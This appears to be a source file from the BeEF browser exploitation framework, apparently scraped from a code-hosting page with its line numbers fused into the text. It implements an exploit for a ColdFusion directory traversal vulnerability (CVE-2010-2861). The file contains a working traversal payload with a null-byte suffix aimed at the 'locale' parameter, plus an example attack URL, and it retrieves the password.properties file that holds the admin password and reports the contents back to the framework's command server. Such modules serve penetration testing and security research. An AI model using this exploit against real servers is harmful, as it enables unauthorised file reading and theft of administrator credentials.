Path: blob/master/modules/exploits/coldfusion_dir_traversal_exploit/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56/**7* ColdFusion Directory Traversal Exploit (CVE-2010-2861) by antisnatchor .8* Inject into the vulnerable "locale" parameter the classic payload of a directory traversal.9* By default the exploit will retrieve the password.properties file, where the CF admin passwd is stored:10* the user is free to specify any other path that will be appended to the server root (ie C:\ on Windows)11*12* On a default win installation, the following vector works great:13* http://127.0.0.1:8500/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../../..\ColdFusion8\lib\password.properties%00en14* demo CF application-> http://blogs.sitepoint.com/applications-coldfusion-8/15*/16beef.execute(function() {17fileToRetrieve = "<%= @fileToRetrieve %>";18targetOS = "<%= @os_combobox %>";19cf_version = "<%= @cf_version %>";20var uri = null;21if(targetOS == "Windows"){22uri = '/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../../..\\ColdFusion' + cf_version + '\\lib\\' + fileToRetrieve + '%00en';23}else{24uri = '/CFIDE/administrator/logging/settings.cfm?locale=../../../../../../../../../../../../opt/coldfusion' + cf_version + '/lib/' + fileToRetrieve + '%00en';25}2627beef.net.request("http", "GET", document.domain, document.location.port, uri,null, null, 10, 'text', function(response){28if(response.status_code == "success"){29titleStart = response.response_body.indexOf("<title>");30titleEnd = response.response_body.indexOf("</title>");31exploitResults = response.response_body.substring(titleStart + 7,titleEnd);32beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=Retrieved contents for file [" + fileToRetrieve + "]: " + exploitResults);33}else{34beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=ERROR: directory traversal failed.");35}36});37});3839